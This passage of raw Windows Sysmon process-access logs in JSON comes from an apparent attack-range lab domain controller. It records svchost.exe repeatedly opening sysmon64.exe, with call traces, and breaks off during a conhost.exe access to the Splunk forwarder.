{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 